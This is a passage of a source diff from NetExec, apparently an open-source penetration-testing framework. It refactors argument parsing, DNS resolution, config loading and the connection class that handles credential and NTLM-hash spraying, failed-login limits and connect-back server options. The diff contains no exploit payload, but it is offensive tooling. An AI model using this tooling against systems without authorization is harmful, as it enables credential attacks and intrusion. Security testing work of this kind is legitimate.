Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
@@ -29,177 +64,85 @@ def gen_cli_args():
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
{highlight('Codename', 'red')}: {highlight(CODENAME)}
|
||||
{highlight('Commit', 'red')} : {highlight(COMMIT)}
|
||||
""",
|
||||
formatter_class=RawTextHelpFormatter,
|
||||
parents=[generic_parser, output_parser, dns_parser]
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"-t",
|
||||
type=int,
|
||||
dest="threads",
|
||||
default=100,
|
||||
help="set how many concurrent threads to use (default: 100)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--timeout",
|
||||
default=None,
|
||||
type=int,
|
||||
help="max timeout in seconds of each thread (default: None)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--jitter",
|
||||
metavar="INTERVAL",
|
||||
type=str,
|
||||
help="sets a random delay between each connection (default: None)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--no-progress",
|
||||
action="store_true",
|
||||
help="Not displaying progress bar during scan",
|
||||
)
|
||||
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
|
||||
parser.add_argument("--debug", action="store_true", help="enable debug level information")
|
||||
parser.add_argument("--version", action="store_true", help="Display nxc version")
|
||||
|
||||
# we do module arg parsing here so we can reference the module_list attribute below
|
||||
module_parser = argparse.ArgumentParser(add_help=False)
|
||||
mgroup = module_parser.add_mutually_exclusive_group()
|
||||
mgroup.add_argument("-M", "--module", action="append", metavar="MODULE", help="module to use")
|
||||
module_parser.add_argument(
|
||||
"-o",
|
||||
metavar="MODULE_OPTION",
|
||||
nargs="+",
|
||||
default=[],
|
||||
dest="module_options",
|
||||
help="module options",
|
||||
)
|
||||
module_parser.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
module_parser.add_argument(
|
||||
"--options",
|
||||
dest="show_module_options",
|
||||
action="store_true",
|
||||
help="display module options",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server",
|
||||
choices={"http", "https"},
|
||||
default="https",
|
||||
help="use the selected server (default: https)",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server-host",
|
||||
type=str,
|
||||
default="0.0.0.0",
|
||||
metavar="HOST",
|
||||
help="IP to bind the server to (default: 0.0.0.0)",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--server-port",
|
||||
metavar="PORT",
|
||||
type=int,
|
||||
help="start the server on the specified port",
|
||||
)
|
||||
module_parser.add_argument(
|
||||
"--connectback-host",
|
||||
type=str,
|
||||
metavar="CHOST",
|
||||
help="IP for the remote system to connect back to (default: same as server-host)",
|
||||
)
|
||||
module_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
|
||||
mgroup = module_parser.add_argument_group("Modules", "Options for nxc modules")
|
||||
mgroup.add_argument("-M", "--module", choices=get_module_names(), action="append", metavar="MODULE", help="module to use")
|
||||
mgroup.add_argument("-o", metavar="MODULE_OPTION", nargs="+", default=[], dest="module_options", help="module options")
|
||||
mgroup.add_argument("-L", "--list-modules", action="store_true", help="list available modules")
|
||||
mgroup.add_argument("--options", dest="show_module_options", action="store_true", help="display module options")
|
||||
|
||||
subparsers = parser.add_subparsers(title="protocols", dest="protocol", description="available protocols")
|
||||
subparsers = parser.add_subparsers(title="Available Protocols", dest="protocol")
|
||||
|
||||
std_parser = argparse.ArgumentParser(add_help=False)
|
||||
std_parser.add_argument(
|
||||
"target",
|
||||
nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*",
|
||||
type=str,
|
||||
help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-id",
|
||||
metavar="CRED_ID",
|
||||
nargs="+",
|
||||
default=[],
|
||||
type=str,
|
||||
dest="cred_id",
|
||||
help="database credential ID(s) to use for authentication",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-u",
|
||||
metavar="USERNAME",
|
||||
dest="username",
|
||||
nargs="+",
|
||||
default=[],
|
||||
help="username(s) or file(s) containing usernames",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"-p",
|
||||
metavar="PASSWORD",
|
||||
dest="password",
|
||||
nargs="+",
|
||||
default=[],
|
||||
help="password(s) or file(s) containing passwords",
|
||||
)
|
||||
std_parser.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
||||
std_parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
std_parser.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2")
|
||||
std_parser.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
std_parser.add_argument(
|
||||
"--use-kcache",
|
||||
action="store_true",
|
||||
help="Use Kerberos authentication from ccache file (KRB5CCNAME)",
|
||||
)
|
||||
std_parser.add_argument("--log", metavar="LOG", help="Export result into a custom file")
|
||||
std_parser.add_argument(
|
||||
"--aesKey",
|
||||
metavar="AESKEY",
|
||||
nargs="+",
|
||||
help="AES key to use for Kerberos Authentication (128 or 256 bits)",
|
||||
)
|
||||
std_parser.add_argument(
|
||||
"--kdcHost",
|
||||
metavar="KDCHOST",
|
||||
help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
|
||||
)
|
||||
std_parser = argparse.ArgumentParser(add_help=False, parents=[generic_parser, output_parser, dns_parser], formatter_class=DisplayDefaultsNotNone)
|
||||
std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
|
||||
credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
|
||||
credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
|
||||
credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
|
||||
credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
|
||||
credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
|
||||
credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
|
||||
credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
|
||||
credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
|
||||
credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
|
||||
credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
|
||||
|
||||
fail_group = std_parser.add_mutually_exclusive_group()
|
||||
fail_group.add_argument(
|
||||
"--gfail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of global failed login attempts",
|
||||
)
|
||||
fail_group.add_argument(
|
||||
"--ufail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of failed login attempts per username",
|
||||
)
|
||||
fail_group.add_argument(
|
||||
"--fail-limit",
|
||||
metavar="LIMIT",
|
||||
type=int,
|
||||
help="max number of failed login attempts per host",
|
||||
)
|
||||
kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
|
||||
kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
|
||||
kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
|
||||
kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
|
||||
kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
|
||||
|
||||
server_group = std_parser.add_argument_group("Servers", "Options for nxc servers")
|
||||
server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server")
|
||||
server_group.add_argument("--server-host", type=str, default="0.0.0.0", metavar="HOST", help="IP to bind the server to")
|
||||
server_group.add_argument("--server-port", metavar="PORT", type=int, help="start the server on the specified port")
|
||||
server_group.add_argument("--connectback-host", type=str, metavar="CHOST", help="IP for the remote system to connect back to")
|
||||
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols.keys():
|
||||
try:
|
||||
try:
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
|
||||
subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
|
||||
except:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol}")
|
||||
subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
|
||||
except Exception as e:
|
||||
nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
|
||||
|
||||
argcomplete.autocomplete(parser)
|
||||
args = parser.parse_args()
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.version:
|
||||
print(f"{VERSION} - {CODENAME}")
|
||||
print(f"{VERSION} - {CODENAME} - {COMMIT}")
|
||||
sys.exit(1)
|
||||
|
||||
# Multiply output_tries by 10 to enable more fine granural control, see exec methods
|
||||
if hasattr(args, "get_output_tries"):
|
||||
args.get_output_tries = args.get_output_tries * 10
|
||||
|
||||
return args
|
||||
|
||||
|
||||
def get_module_names():
|
||||
"""Get module names without initializing them"""
|
||||
modules = []
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
path_join(NXC_PATH, "modules"),
|
||||
]
|
||||
|
||||
for path in modules_paths:
|
||||
modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
|
||||
return sorted(modules, key=str.casefold)
|
||||
+7
-8
@@ -1,8 +1,7 @@
|
||||
# coding=utf-8
|
||||
import os
|
||||
from os.path import join as path_join
|
||||
import configparser
|
||||
from nxc.paths import nxc_PATH, DATA_PATH
|
||||
from nxc.paths import NXC_PATH, DATA_PATH
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.logger import nxc_logger
|
||||
from ast import literal_eval
|
||||
@@ -11,11 +10,11 @@ nxc_default_config = configparser.ConfigParser()
|
||||
nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
|
||||
|
||||
nxc_config = configparser.ConfigParser()
|
||||
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
|
||||
if "nxc" not in nxc_config.sections():
|
||||
first_run_setup()
|
||||
nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
|
||||
nxc_config.read(os.path.join(NXC_PATH, "nxc.conf"))
|
||||
|
||||
# Check if there are any missing options in the config file
|
||||
for section in nxc_default_config.sections():
|
||||
@@ -24,10 +23,10 @@ for section in nxc_default_config.sections():
|
||||
nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
|
||||
nxc_config.set(section, option, nxc_default_config.get(section, option))
|
||||
|
||||
with open(path_join(nxc_PATH, "nxc.conf"), "w") as config_file:
|
||||
with open(path_join(NXC_PATH, "nxc.conf"), "w") as config_file:
|
||||
nxc_config.write(config_file)
|
||||
|
||||
#!!! THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE !!!
|
||||
# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
|
||||
nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default")
|
||||
pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
|
||||
audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
|
||||
@@ -44,5 +43,5 @@ if len(host_info_colors) != 4:
|
||||
|
||||
# this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
|
||||
def process_secret(text):
|
||||
hidden = text[:reveal_chars_of_pwd]
|
||||
return text if not audit_mode else hidden+audit_mode * 8
|
||||
reveal = text[:reveal_chars_of_pwd]
|
||||
return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)
|
||||
+242
-127
@@ -1,118 +1,188 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import random
|
||||
import socket
|
||||
from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
|
||||
from socket import getaddrinfo
|
||||
from os.path import isfile
|
||||
from threading import BoundedSemaphore
|
||||
from functools import wraps
|
||||
from time import sleep
|
||||
from ipaddress import ip_address
|
||||
from dns import resolver, rdatatype
|
||||
from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
|
||||
|
||||
from nxc.config import pwned_label
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.logger import nxc_logger, NXCAdapter
|
||||
from nxc.context import Context
|
||||
from nxc.protocols.ldap.laps import laps_search
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
import sys
|
||||
import contextlib
|
||||
|
||||
sem = BoundedSemaphore(1)
|
||||
global_failed_logins = 0
|
||||
user_failed_logins = {}
|
||||
|
||||
|
||||
def gethost_addrinfo(hostname):
|
||||
def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
|
||||
result = {
|
||||
"host": "",
|
||||
"is_ipv6": False,
|
||||
"is_link_local_ipv6": False
|
||||
}
|
||||
address_info = {"AF_INET6": "", "AF_INET": ""}
|
||||
|
||||
try:
|
||||
for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
host = canonname if ip_address(sa[0]).is_link_local else sa[0]
|
||||
except socket.gaierror:
|
||||
for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, socktype, proto, canonname, sa = res
|
||||
host = sa[0] if sa[0] else canonname
|
||||
return host
|
||||
if ip_address(target).version == 4:
|
||||
address_info["AF_INET"] = target
|
||||
else:
|
||||
address_info["AF_INET6"] = target
|
||||
except Exception:
|
||||
# If the target is not an IP address, we need to resolve it
|
||||
if not (dns_server or dns_tcp):
|
||||
for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
|
||||
af, _, _, canonname, sa = res
|
||||
address_info[af.name] = sa[0]
|
||||
|
||||
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
|
||||
address_info["AF_INET6"] = canonname
|
||||
result["is_link_local_ipv6"] = True
|
||||
else:
|
||||
dnsresolver = resolver.Resolver()
|
||||
dnsresolver.timeout = dns_timeout
|
||||
dnsresolver.lifetime = dns_timeout
|
||||
|
||||
if dns_server:
|
||||
dnsresolver.nameservers = [dns_server]
|
||||
|
||||
try:
|
||||
answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
|
||||
address_info["AF_INET"] = answers_ipv4[0].address
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
try:
|
||||
answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
|
||||
address_info["AF_INET6"] = answers_ipv6[0].address
|
||||
|
||||
if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
|
||||
result["is_link_local_ipv6"] = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not (address_info["AF_INET"] or address_info["AF_INET6"]):
|
||||
raise Exception(f"The DNS query name does not exist: {target}")
|
||||
|
||||
# IPv4 preferred
|
||||
if address_info["AF_INET"] and not force_ipv6:
|
||||
result["host"] = address_info["AF_INET"]
|
||||
else:
|
||||
result["is_ipv6"] = True
|
||||
result["host"] = address_info["AF_INET6"]
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def requires_admin(func):
|
||||
def _decorator(self, *args, **kwargs):
|
||||
if self.admin_privs is False:
|
||||
return
|
||||
return None
|
||||
return func(self, *args, **kwargs)
|
||||
|
||||
return wraps(func)(_decorator)
|
||||
|
||||
def dcom_FirewallChecker(iInterface, timeout):
|
||||
|
||||
def dcom_FirewallChecker(iInterface, remoteHost, timeout):
|
||||
stringBindings = iInterface.get_cinstance().get_string_bindings()
|
||||
for strBinding in stringBindings:
|
||||
if strBinding['wTowerId'] == 7:
|
||||
if strBinding['aNetworkAddr'].find('[') >= 0:
|
||||
binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')
|
||||
bindingPort = '[' + bindingPort
|
||||
if strBinding["wTowerId"] == 7:
|
||||
if strBinding["aNetworkAddr"].find("[") >= 0:
|
||||
binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
|
||||
bindingPort = "[" + bindingPort
|
||||
else:
|
||||
binding = strBinding['aNetworkAddr']
|
||||
bindingPort = ''
|
||||
binding = strBinding["aNetworkAddr"]
|
||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition('.')[0]) >= 0:
|
||||
stringBinding = 'ncacn_ip_tcp:%s%s' % (iInterface.get_target(), bindingPort)
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
|
||||
class connection(object):
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
|
||||
class connection:
|
||||
def __init__(self, args, db, target):
|
||||
self.args = args
|
||||
self.db = db
|
||||
self.hostname = host
|
||||
self.logger = nxc_logger
|
||||
self.conn = None
|
||||
self.admin_privs = False
|
||||
|
||||
# Authentication info
|
||||
self.password = ""
|
||||
self.username = ""
|
||||
self.kerberos = True if self.args.kerberos or self.args.use_kcache or self.args.aesKey else False
|
||||
self.kerberos = bool(self.args.kerberos or self.args.use_kcache or self.args.aesKey)
|
||||
self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
|
||||
self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
|
||||
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
|
||||
self.admin_privs = False
|
||||
self.failed_logins = 0
|
||||
self.local_ip = None
|
||||
self.logger = nxc_logger
|
||||
|
||||
try:
|
||||
self.host = gethost_addrinfo(self.hostname)
|
||||
if self.args.kerberos:
|
||||
self.host = self.hostname
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }")
|
||||
except Exception as e:
|
||||
self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
|
||||
# Network info
|
||||
self.domain = None
|
||||
self.host = None # IP address of the target. If kerberos this is the hostname
|
||||
self.hostname = target # Target info supplied by the user, may be an IP address or a hostname
|
||||
self.remoteName = target # hostname + domain, defaults to target if domain could not be resolved/not specified
|
||||
self.kdcHost = self.args.kdcHost
|
||||
self.port = self.args.port
|
||||
self.local_ip = None
|
||||
|
||||
# DNS resolution
|
||||
dns_result = self.resolver(target)
|
||||
if dns_result:
|
||||
self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
|
||||
else:
|
||||
return
|
||||
|
||||
if args.jitter:
|
||||
jitter = args.jitter
|
||||
if "-" in jitter:
|
||||
start, end = jitter.split("-")
|
||||
jitter = (int(start), int(end))
|
||||
else:
|
||||
jitter = (0, int(jitter))
|
||||
if self.args.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
value = random.choice(range(jitter[0], jitter[1]))
|
||||
self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
|
||||
sleep(value)
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
except Exception as e:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
else:
|
||||
self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
finally:
|
||||
self.logger.debug(f"Closing connection to: {target}")
|
||||
with contextlib.suppress(Exception):
|
||||
self.conn.close()
|
||||
|
||||
def resolver(self, target):
|
||||
try:
|
||||
return get_host_addr_info(
|
||||
target=target,
|
||||
force_ipv6=self.args.force_ipv6,
|
||||
dns_server=self.args.dns_server,
|
||||
dns_tcp=self.args.dns_tcp,
|
||||
dns_timeout=self.args.dns_timeout
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.info(f"Error resolving hostname {target}: {e}")
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def proto_args(std_parser, module_parser):
|
||||
@@ -133,16 +203,7 @@ class connection(object):
|
||||
def check_if_admin(self):
|
||||
return
|
||||
|
||||
def kerberos_login(
|
||||
self,
|
||||
domain,
|
||||
username,
|
||||
password="",
|
||||
ntlm_hash="",
|
||||
aesKey="",
|
||||
kdcHost="",
|
||||
useCache=False,
|
||||
):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
return
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
@@ -152,27 +213,50 @@ class connection(object):
|
||||
return
|
||||
|
||||
def proto_flow(self):
|
||||
self.logger.debug(f"Kicking off proto_flow")
|
||||
self.logger.debug("Kicking off proto_flow")
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj():
|
||||
if not self.create_conn_obj():
|
||||
self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
|
||||
else:
|
||||
self.logger.debug("Created connection object")
|
||||
self.enum_host_info()
|
||||
if self.print_host_info():
|
||||
# because of null session
|
||||
if self.login() or (self.username == "" and self.password == ""):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.call_modules()
|
||||
else:
|
||||
self.call_cmd_args()
|
||||
if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")):
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
|
||||
def call_cmd_args(self):
|
||||
for k, v in vars(self.args).items():
|
||||
if hasattr(self, k) and hasattr(getattr(self, k), "__call__"):
|
||||
if v is not False and v is not None:
|
||||
self.logger.debug(f"Calling {k}()")
|
||||
r = getattr(self, k)()
|
||||
"""Calls all the methods specified by the command line arguments
|
||||
|
||||
Iterates over the attributes of an object (self.args)
|
||||
For each attribute, it checks if the object (self) has an attribute with the same name and if that attribute is callable (i.e., a function)
|
||||
If both conditions are met and the attribute value is not False or None,
|
||||
it calls the function and logs a debug message
|
||||
|
||||
Parameters
|
||||
----------
|
||||
self (object): The instance of the class.
|
||||
|
||||
Returns
|
||||
-------
|
||||
None
|
||||
"""
|
||||
for attr, value in vars(self.args).items():
|
||||
if hasattr(self, attr) and callable(getattr(self, attr)) and value is not False and value is not None:
|
||||
self.logger.debug(f"Calling {attr}()")
|
||||
getattr(self, attr)()
|
||||
|
||||
def call_modules(self):
|
||||
for module in self.module:
|
||||
"""Calls modules and performs various actions based on the module's attributes.
|
||||
|
||||
It iterates over the modules specified in the command line arguments.
|
||||
For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
|
||||
"""
|
||||
for module in self.modules:
|
||||
self.logger.debug(f"Loading module {module.name} - {module}")
|
||||
module_logger = NXCAdapter(
|
||||
extra={
|
||||
@@ -208,7 +292,7 @@ class connection(object):
|
||||
global global_failed_logins
|
||||
global user_failed_logins
|
||||
|
||||
if username not in user_failed_logins.keys():
|
||||
if username not in user_failed_logins:
|
||||
user_failed_logins[username] = 0
|
||||
|
||||
user_failed_logins[username] += 1
|
||||
@@ -225,53 +309,54 @@ class connection(object):
|
||||
if self.failed_logins == self.args.fail_limit:
|
||||
return True
|
||||
|
||||
if username in user_failed_logins.keys():
|
||||
if self.args.ufail_limit == user_failed_logins[username]:
|
||||
return True
|
||||
if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def query_db_creds(self):
|
||||
"""
|
||||
Queries the database for credentials to be used for authentication.
|
||||
"""Queries the database for credentials to be used for authentication.
|
||||
|
||||
Valid cred_id values are:
|
||||
- a single cred_id
|
||||
- a range specified with a dash (ex. 1-5)
|
||||
- 'all' to select all credentials
|
||||
|
||||
:return: domain[], username[], owned[], secret[], cred_type[]
|
||||
:return: domains[], usernames[], owned[], secrets[], cred_types[]
|
||||
"""
|
||||
domain = []
|
||||
username = []
|
||||
domains = []
|
||||
usernames = []
|
||||
owned = []
|
||||
secret = []
|
||||
cred_type = []
|
||||
secrets = []
|
||||
cred_types = []
|
||||
creds = [] # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database
|
||||
data = [] # Arbitrary data needed for the login, e.g. ssh_key
|
||||
|
||||
for cred_id in self.args.cred_id:
|
||||
if isinstance(cred_id, str) and cred_id.lower() == 'all':
|
||||
if cred_id.lower() == "all":
|
||||
creds = self.db.get_credentials()
|
||||
else:
|
||||
if not self.db.get_credentials(filter_term=int(cred_id)):
|
||||
self.logger.error('Invalid database credential ID {}!'.format(cred_id))
|
||||
self.logger.error(f"Invalid database credential ID {cred_id}!")
|
||||
continue
|
||||
creds.extend(self.db.get_credentials(filter_term=int(cred_id)))
|
||||
|
||||
for cred in creds:
|
||||
c_id, domain_single, username_single, secret_single, cred_type_single, pillaged_from = cred
|
||||
domain.append(domain_single)
|
||||
username.append(username_single)
|
||||
c_id, domain, username, secret, cred_type, pillaged_from = cred
|
||||
domains.append(domain)
|
||||
usernames.append(username)
|
||||
owned.append(False) # As these are likely valid we still want to test them if they are specified in the command line
|
||||
secret.append(secret_single)
|
||||
cred_type.append(cred_type_single)
|
||||
secrets.append(secret)
|
||||
cred_types.append(cred_type)
|
||||
|
||||
if len(secret) != len(data): data = [None] * len(secret)
|
||||
return domain, username, owned, secret, cred_type, data
|
||||
if len(secrets) != len(data):
|
||||
data = [None] * len(secrets)
|
||||
|
||||
return domains, usernames, owned, secrets, cred_types, data
|
||||
|
||||
def parse_credentials(self):
|
||||
"""
|
||||
Parse credentials from the command line or from a file specified.
|
||||
r"""Parse credentials from the command line or from a file specified.
|
||||
|
||||
Usernames can be specified with a domain (domain\\username) or without (username).
|
||||
If the file contains domain\\username the domain specified will be overwritten by the one in the file.
|
||||
|
||||
@@ -286,7 +371,7 @@ class connection(object):
|
||||
# Parse usernames
|
||||
for user in self.args.username:
|
||||
if isfile(user):
|
||||
with open(user, 'r') as user_file:
|
||||
with open(user) as user_file:
|
||||
for line in user_file:
|
||||
if "\\" in line:
|
||||
domain_single, username_single = line.split("\\")
|
||||
@@ -310,42 +395,41 @@ class connection(object):
|
||||
for password in self.args.password:
|
||||
if isfile(password):
|
||||
try:
|
||||
with open(password, 'r', errors = ('ignore' if self.args.ignore_pw_decoding else 'strict')) as password_file:
|
||||
with open(password, errors=("ignore" if self.args.ignore_pw_decoding else "strict")) as password_file:
|
||||
for line in password_file:
|
||||
secret.append(line.strip())
|
||||
cred_type.append('plaintext')
|
||||
cred_type.append("plaintext")
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.error(f"{type(e).__name__}: Could not decode password file. Make sure the file only contains UTF-8 characters.")
|
||||
self.logger.error("You can ignore non UTF-8 characters with the option '--ignore-pw-decoding'")
|
||||
exit(1)
|
||||
|
||||
sys.exit(1)
|
||||
else:
|
||||
secret.append(password)
|
||||
cred_type.append('plaintext')
|
||||
cred_type.append("plaintext")
|
||||
|
||||
# Parse NTLM-hashes
|
||||
if hasattr(self.args, "hash") and self.args.hash:
|
||||
for ntlm_hash in self.args.hash:
|
||||
if isfile(ntlm_hash):
|
||||
with open(ntlm_hash, 'r') as ntlm_hash_file:
|
||||
with open(ntlm_hash) as ntlm_hash_file:
|
||||
for line in ntlm_hash_file:
|
||||
secret.append(line.strip())
|
||||
cred_type.append('hash')
|
||||
cred_type.append("hash")
|
||||
else:
|
||||
secret.append(ntlm_hash)
|
||||
cred_type.append('hash')
|
||||
cred_type.append("hash")
